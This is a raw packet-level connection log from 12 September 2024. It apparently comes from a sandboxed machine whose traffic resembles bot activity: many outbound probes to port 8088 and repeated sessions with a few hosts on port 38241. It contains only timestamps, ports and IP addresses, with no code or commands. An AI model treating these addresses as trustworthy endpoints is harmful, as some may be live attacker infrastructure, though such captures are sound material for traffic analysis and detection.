Sep 12, 2024 00:38:13.656351089 CEST	8088	46942	208.35.19.171	192.168.2.23
Sep 12, 2024 00:38:13.656431913 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:13.827375889 CEST	8088	46942	208.35.19.171	192.168.2.23
Sep 12, 2024 00:38:14.848100901 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:14.890904903 CEST	59510	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:15.185906887 CEST	38241	59510	91.92.246.113	192.168.2.23
Sep 12, 2024 00:38:15.185983896 CEST	59510	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:15.211370945 CEST	8088	37442	187.125.238.133	192.168.2.23
Sep 12, 2024 00:38:15.214858055 CEST	37442	8088	192.168.2.23	187.125.238.133
Sep 12, 2024 00:38:15.419665098 CEST	8088	37442	187.125.238.133	192.168.2.23
Sep 12, 2024 00:38:15.419748068 CEST	37442	8088	192.168.2.23	187.125.238.133
Sep 12, 2024 00:38:15.632036924 CEST	8088	37442	187.125.238.133	192.168.2.23
Sep 12, 2024 00:38:15.632114887 CEST	37442	8088	192.168.2.23	187.125.238.133
Sep 12, 2024 00:38:15.850775003 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:16.055846930 CEST	8088	37442	187.125.238.133	192.168.2.23
Sep 12, 2024 00:38:16.055917025 CEST	37442	8088	192.168.2.23	187.125.238.133
Sep 12, 2024 00:38:16.478626966 CEST	8088	35222	118.143.223.55	192.168.2.23
Sep 12, 2024 00:38:16.478910923 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:17.135844946 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:17.386557102 CEST	59510	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:17.495975971 CEST	8088	35222	118.143.223.55	192.168.2.23
Sep 12, 2024 00:38:17.496023893 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:17.849370956 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:17.849878073 CEST	59016	8088	192.168.2.23	115.202.13.183
Sep 12, 2024 00:38:17.943190098 CEST	38241	59510	91.92.246.113	192.168.2.23
Sep 12, 2024 00:38:17.944340944 CEST	38241	59510	91.92.246.113	192.168.2.23
Sep 12, 2024 00:38:18.197210073 CEST	8088	52634	33.247.222.246	192.168.2.23
Sep 12, 2024 00:38:18.198436975 CEST	52634	8088	192.168.2.23	33.247.222.246
Sep 12, 2024 00:38:18.414114952 CEST	8088	52634	33.247.222.246	192.168.2.23
Sep 12, 2024 00:38:18.414177895 CEST	52634	8088	192.168.2.23	33.247.222.246
Sep 12, 2024 00:38:18.627873898 CEST	8088	52634	33.247.222.246	192.168.2.23
Sep 12, 2024 00:38:18.627937078 CEST	52634	8088	192.168.2.23	33.247.222.246
Sep 12, 2024 00:38:18.858362913 CEST	59016	8088	192.168.2.23	115.202.13.183
Sep 12, 2024 00:38:18.947438955 CEST	53964	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:19.306299925 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:19.511781931 CEST	8088	35222	118.143.223.55	192.168.2.23
Sep 12, 2024 00:38:19.511841059 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:19.588905096 CEST	38241	53964	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:19.589010954 CEST	53964	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:20.214508057 CEST	38241	53964	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:20.218240023 CEST	53964	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:20.851563931 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:20.949419975 CEST	53964	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:20.949449062 CEST	53964	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:21.194071054 CEST	35222	8088	192.168.2.23	118.143.223.55
Sep 12, 2024 00:38:21.209635973 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:21.210050106 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:21.423736095 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:21.423818111 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:21.635911942 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:21.635993958 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:21.687841892 CEST	38241	53964	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:21.687928915 CEST	53964	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:21.774147034 CEST	8088	35222	118.143.223.55	192.168.2.23
Sep 12, 2024 00:38:21.775791883 CEST	8088	35222	118.143.223.55	192.168.2.23
Sep 12, 2024 00:38:21.865981102 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:21.950859070 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:22.075841904 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:22.075932026 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:22.249923944 CEST	53964	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:22.455951929 CEST	8088	33516	157.173.158.186	192.168.2.23
Sep 12, 2024 00:38:22.456056118 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:22.857026100 CEST	38241	53964	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:22.935945988 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:22.936007023 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:22.957830906 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:23.058696985 CEST	8088	33516	157.173.158.186	192.168.2.23
Sep 12, 2024 00:38:23.061897993 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:23.852659941 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:23.853121996 CEST	49682	8088	192.168.2.23	56.83.140.120
Sep 12, 2024 00:38:24.043658972 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:24.473424911 CEST	8088	33516	157.173.158.186	192.168.2.23
Sep 12, 2024 00:38:24.477518082 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:24.631808996 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:24.631889105 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:24.668962955 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:24.873573065 CEST	49682	8088	192.168.2.23	56.83.140.120
Sep 12, 2024 00:38:24.970566034 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:25.257540941 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:26.295960903 CEST	8088	33516	157.173.158.186	192.168.2.23
Sep 12, 2024 00:38:26.296020031 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:26.855597019 CEST	58104	8088	192.168.2.23	96.199.227.179
Sep 12, 2024 00:38:27.049277067 CEST	33516	8088	192.168.2.23	157.173.158.186
Sep 12, 2024 00:38:27.656934023 CEST	8088	33516	157.173.158.186	192.168.2.23
Sep 12, 2024 00:38:27.881179094 CEST	58104	8088	192.168.2.23	96.199.227.179
Sep 12, 2024 00:38:27.991900921 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:27.991991997 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:29.160996914 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:29.745376110 CEST	38241	33844	45.202.35.64	192.168.2.23
Sep 12, 2024 00:38:29.745714903 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:29.746489048 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:29.860606909 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:30.265223026 CEST	8088	52914	61.221.100.106	192.168.2.23
Sep 12, 2024 00:38:30.265321016 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:30.434174061 CEST	8088	52914	61.221.100.106	192.168.2.23
Sep 12, 2024 00:38:30.436826944 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:30.775721073 CEST	38241	33844	45.202.35.64	192.168.2.23
Sep 12, 2024 00:38:30.775799036 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:30.971875906 CEST	8088	52914	61.221.100.106	192.168.2.23
Sep 12, 2024 00:38:30.971923113 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:31.144737005 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:32.791860104 CEST	38241	33844	45.202.35.64	192.168.2.23
Sep 12, 2024 00:38:32.791914940 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:32.861535072 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:32.861994028 CEST	55982	8088	192.168.2.23	169.103.217.37
Sep 12, 2024 00:38:32.904483080 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:32.916766882 CEST	38241	33844	45.202.35.64	192.168.2.23
Sep 12, 2024 00:38:32.916920900 CEST	33844	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:33.028803110 CEST	38241	33844	45.202.35.64	192.168.2.23
Sep 12, 2024 00:38:33.034712076 CEST	38241	33844	45.202.35.64	192.168.2.23
Sep 12, 2024 00:38:33.864375114 CEST	55982	8088	192.168.2.23	169.103.217.37
Sep 12, 2024 00:38:33.896344900 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:33.917973042 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:34.050389051 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:34.050473928 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:34.908163071 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:34.908230066 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:35.064193964 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:35.064270973 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:35.144198895 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:35.863739014 CEST	60612	8088	192.168.2.23	185.229.214.63
Sep 12, 2024 00:38:35.919635057 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:36.328012943 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:36.743998051 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:36.871984959 CEST	60612	8088	192.168.2.23	185.229.214.63
Sep 12, 2024 00:38:37.079782963 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:37.079888105 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:37.270539045 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:37.270684958 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:37.575884104 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:37.607888937 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:38.272089958 CEST	59536	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:38.867949963 CEST	55228	8088	192.168.2.23	184.87.98.222
Sep 12, 2024 00:38:39.000375032 CEST	8088	55228	184.87.98.222	192.168.2.23
Sep 12, 2024 00:38:39.000626087 CEST	55228	8088	192.168.2.23	184.87.98.222
Sep 12, 2024 00:38:39.207688093 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:39.303651094 CEST	59536	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:40.023802042 CEST	8088	55228	184.87.98.222	192.168.2.23
Sep 12, 2024 00:38:40.023880959 CEST	55228	8088	192.168.2.23	184.87.98.222
Sep 12, 2024 00:38:41.323410034 CEST	59536	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:41.869534969 CEST	55228	8088	192.168.2.23	184.87.98.222
Sep 12, 2024 00:38:41.869976044 CEST	44886	8088	192.168.2.23	242.135.104.48
Sep 12, 2024 00:38:42.039741039 CEST	8088	55228	184.87.98.222	192.168.2.23
Sep 12, 2024 00:38:42.039825916 CEST	55228	8088	192.168.2.23	184.87.98.222
Sep 12, 2024 00:38:42.279247999 CEST	55228	8088	192.168.2.23	184.87.98.222
Sep 12, 2024 00:38:42.443099976 CEST	8088	55228	184.87.98.222	192.168.2.23
Sep 12, 2024 00:38:42.444461107 CEST	8088	55228	184.87.98.222	192.168.2.23
Sep 12, 2024 00:38:42.471187115 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:42.727181911 CEST	52914	8088	192.168.2.23	61.221.100.106
Sep 12, 2024 00:38:42.876110077 CEST	8088	52914	61.221.100.106	192.168.2.23
Sep 12, 2024 00:38:42.891143084 CEST	44886	8088	192.168.2.23	242.135.104.48
Sep 12, 2024 00:38:44.119781017 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:44.119877100 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:44.872109890 CEST	38494	8088	192.168.2.23	107.87.27.184
Sep 12, 2024 00:38:45.542850018 CEST	59536	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:45.894797087 CEST	38494	8088	192.168.2.23	107.87.27.184
Sep 12, 2024 00:38:47.873537064 CEST	54040	8088	192.168.2.23	81.209.218.53
Sep 12, 2024 00:38:48.047604084 CEST	8088	54040	81.209.218.53	192.168.2.23
Sep 12, 2024 00:38:48.047674894 CEST	54040	8088	192.168.2.23	81.209.218.53
Sep 12, 2024 00:38:48.612437010 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:48.612514973 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:49.047955036 CEST	8088	54040	81.209.218.53	192.168.2.23
Sep 12, 2024 00:38:49.048037052 CEST	54040	8088	192.168.2.23	81.209.218.53
Sep 12, 2024 00:38:49.126348972 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:50.875025988 CEST	54040	8088	192.168.2.23	81.209.218.53
Sep 12, 2024 00:38:50.878127098 CEST	52146	8088	192.168.2.23	197.159.201.249
Sep 12, 2024 00:38:50.977255106 CEST	8088	54040	81.209.218.53	192.168.2.23
Sep 12, 2024 00:38:50.978748083 CEST	8088	54040	81.209.218.53	192.168.2.23
Sep 12, 2024 00:38:50.980150938 CEST	8088	52146	197.159.201.249	192.168.2.23
Sep 12, 2024 00:38:51.282640934 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:51.407382011 CEST	38241	53994	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:51.407485008 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:51.995826006 CEST	8088	52146	197.159.201.249	192.168.2.23
Sep 12, 2024 00:38:51.997898102 CEST	52146	8088	192.168.2.23	197.159.201.249
Sep 12, 2024 00:38:52.117451906 CEST	8088	52146	197.159.201.249	192.168.2.23
Sep 12, 2024 00:38:52.123327017 CEST	52146	8088	192.168.2.23	197.159.201.249
Sep 12, 2024 00:38:52.407913923 CEST	38241	53994	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:52.408004999 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:52.494577885 CEST	38241	53994	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:52.501876116 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:53.284960032 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:53.285018921 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:53.573807001 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:53.848824978 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:53.848892927 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:53.877125978 CEST	57968	8088	192.168.2.23	25.192.234.141
Sep 12, 2024 00:38:53.878185034 CEST	52146	8088	192.168.2.23	197.159.201.249
Sep 12, 2024 00:38:53.957709074 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:54.214703083 CEST	52146	8088	192.168.2.23	197.159.201.249
Sep 12, 2024 00:38:54.286451101 CEST	33874	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:54.539369106 CEST	52146	8088	192.168.2.23	197.159.201.249
Sep 12, 2024 00:38:54.616158009 CEST	8088	52146	197.159.201.249	192.168.2.23
Sep 12, 2024 00:38:54.618160009 CEST	52146	8088	192.168.2.23	197.159.201.249
Sep 12, 2024 00:38:54.660783052 CEST	8088	52146	197.159.201.249	192.168.2.23
Sep 12, 2024 00:38:54.729588985 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:54.821569920 CEST	8088	52146	197.159.201.249	192.168.2.23
Sep 12, 2024 00:38:54.871937037 CEST	38241	53994	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:54.872014046 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:54.885580063 CEST	57968	8088	192.168.2.23	25.192.234.141
Sep 12, 2024 00:38:55.301490068 CEST	33874	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:56.261393070 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:56.879751921 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:38:57.112934113 CEST	8088	43392	192.126.40.239	192.168.2.23
Sep 12, 2024 00:38:57.113101006 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:38:57.317214966 CEST	33874	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:38:58.136009932 CEST	8088	43392	192.126.40.239	192.168.2.23
Sep 12, 2024 00:38:58.136110067 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:38:58.199827909 CEST	38241	53994	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:58.199913979 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:59.364953995 CEST	53994	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:38:59.442747116 CEST	38241	53994	93.123.85.166	192.168.2.23
Sep 12, 2024 00:38:59.881345987 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:38:59.881658077 CEST	52328	8088	192.168.2.23	45.106.155.12
Sep 12, 2024 00:39:00.151938915 CEST	8088	43392	192.126.40.239	192.168.2.23
Sep 12, 2024 00:39:00.151988983 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:39:00.265811920 CEST	8088	43392	192.126.40.239	192.168.2.23
Sep 12, 2024 00:39:00.272793055 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:39:00.580811024 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:39:00.900743961 CEST	52328	8088	192.168.2.23	45.106.155.12
Sep 12, 2024 00:39:01.284791946 CEST	43392	8088	192.168.2.23	192.126.40.239
Sep 12, 2024 00:39:01.395034075 CEST	8088	43392	192.126.40.239	192.168.2.23
Sep 12, 2024 00:39:01.412652969 CEST	33874	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:02.180582047 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:02.882910013 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:03.908407927 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:03.987236977 CEST	8088	51444	204.235.25.185	192.168.2.23
Sep 12, 2024 00:39:03.987339020 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:05.020101070 CEST	8088	51444	204.235.25.185	192.168.2.23
Sep 12, 2024 00:39:05.020179033 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:05.884020090 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:05.884608030 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:05.951531887 CEST	8088	41746	254.30.40.98	192.168.2.23
Sep 12, 2024 00:39:05.951658964 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:06.012777090 CEST	8088	41746	254.30.40.98	192.168.2.23
Sep 12, 2024 00:39:06.016196966 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:06.180124044 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:06.467984915 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:07.035933971 CEST	8088	51444	204.235.25.185	192.168.2.23
Sep 12, 2024 00:39:07.035985947 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:07.043893099 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:07.297851086 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:08.195836067 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:08.323760033 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:08.886118889 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:08.887011051 CEST	47990	8088	192.168.2.23	5.178.90.206
Sep 12, 2024 00:39:09.155649900 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:09.443618059 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:09.891578913 CEST	47990	8088	192.168.2.23	5.178.90.206
Sep 12, 2024 00:39:09.987520933 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:10.339509010 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:10.394946098 CEST	38241	44232	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:10.395021915 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:10.396066904 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:10.627443075 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:10.659427881 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:10.947407961 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:11.075409889 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:11.259895086 CEST	8088	51444	204.235.25.185	192.168.2.23
Sep 12, 2024 00:39:11.259991884 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:11.420070887 CEST	38241	44232	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:11.420125008 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:11.491353989 CEST	44232	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:11.534914017 CEST	38241	44232	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:11.536072016 CEST	38241	44232	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:11.890280962 CEST	35558	8088	192.168.2.23	142.172.118.111
Sep 12, 2024 00:39:11.935049057 CEST	8088	35558	142.172.118.111	192.168.2.23
Sep 12, 2024 00:39:11.935208082 CEST	35558	8088	192.168.2.23	142.172.118.111
Sep 12, 2024 00:39:12.538141012 CEST	59568	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:12.952142954 CEST	8088	35558	142.172.118.111	192.168.2.23
Sep 12, 2024 00:39:12.952251911 CEST	35558	8088	192.168.2.23	142.172.118.111
Sep 12, 2024 00:39:12.994503021 CEST	8088	35558	142.172.118.111	192.168.2.23
Sep 12, 2024 00:39:12.995120049 CEST	35558	8088	192.168.2.23	142.172.118.111
Sep 12, 2024 00:39:13.443080902 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:13.539089918 CEST	59568	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:14.891853094 CEST	35558	8088	192.168.2.23	142.172.118.111
Sep 12, 2024 00:39:14.892438889 CEST	54394	8088	192.168.2.23	112.144.139.77
Sep 12, 2024 00:39:15.096018076 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:15.096102953 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:15.143017054 CEST	35558	8088	192.168.2.23	142.172.118.111
Sep 12, 2024 00:39:15.181906939 CEST	8088	35558	142.172.118.111	192.168.2.23
Sep 12, 2024 00:39:15.234850883 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:15.554805994 CEST	59568	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:15.906810999 CEST	54394	8088	192.168.2.23	112.144.139.77
Sep 12, 2024 00:39:15.948071957 CEST	8088	54394	112.144.139.77	192.168.2.23
Sep 12, 2024 00:39:15.948159933 CEST	54394	8088	192.168.2.23	112.144.139.77
Sep 12, 2024 00:39:16.956008911 CEST	8088	54394	112.144.139.77	192.168.2.23
Sep 12, 2024 00:39:16.956084013 CEST	54394	8088	192.168.2.23	112.144.139.77
Sep 12, 2024 00:39:17.214637995 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:39:17.214734077 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:39:17.794507980 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:17.894182920 CEST	54394	8088	192.168.2.23	112.144.139.77
Sep 12, 2024 00:39:17.894560099 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:17.924797058 CEST	8088	54394	112.144.139.77	192.168.2.23
Sep 12, 2024 00:39:17.924988031 CEST	8088	38942	94.201.90.86	192.168.2.23
Sep 12, 2024 00:39:17.925044060 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:17.925137997 CEST	8088	54394	112.144.139.77	192.168.2.23
Sep 12, 2024 00:39:17.954240084 CEST	8088	38942	94.201.90.86	192.168.2.23
Sep 12, 2024 00:39:17.958436966 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:19.452092886 CEST	8088	51444	204.235.25.185	192.168.2.23
Sep 12, 2024 00:39:19.452208042 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:19.496571064 CEST	8088	51444	204.235.25.185	192.168.2.23
Sep 12, 2024 00:39:19.498261929 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:19.590233088 CEST	59568	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:20.896015882 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:20.896424055 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:21.134041071 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:21.373992920 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:21.857918024 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:21.921940088 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:21.961169004 CEST	8088	42478	31.240.32.116	192.168.2.23
Sep 12, 2024 00:39:21.961280107 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:22.817842007 CEST	38942	8088	192.168.2.23	94.201.90.86
Sep 12, 2024 00:39:22.901843071 CEST	8088	38942	94.201.90.86	192.168.2.23
Sep 12, 2024 00:39:22.967931032 CEST	8088	42478	31.240.32.116	192.168.2.23
Sep 12, 2024 00:39:22.967983007 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:23.013046980 CEST	8088	42478	31.240.32.116	192.168.2.23
Sep 12, 2024 00:39:23.013761044 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:23.899571896 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:23.900094986 CEST	37500	8088	192.168.2.23	201.48.232.174
Sep 12, 2024 00:39:24.141633987 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:24.385574102 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:24.453568935 CEST	51444	8088	192.168.2.23	204.235.25.185
Sep 12, 2024 00:39:24.489346981 CEST	8088	51444	204.235.25.185	192.168.2.23
Sep 12, 2024 00:39:24.897512913 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:24.929543018 CEST	37500	8088	192.168.2.23	201.48.232.174
Sep 12, 2024 00:39:25.336752892 CEST	8088	42478	31.240.32.116	192.168.2.23
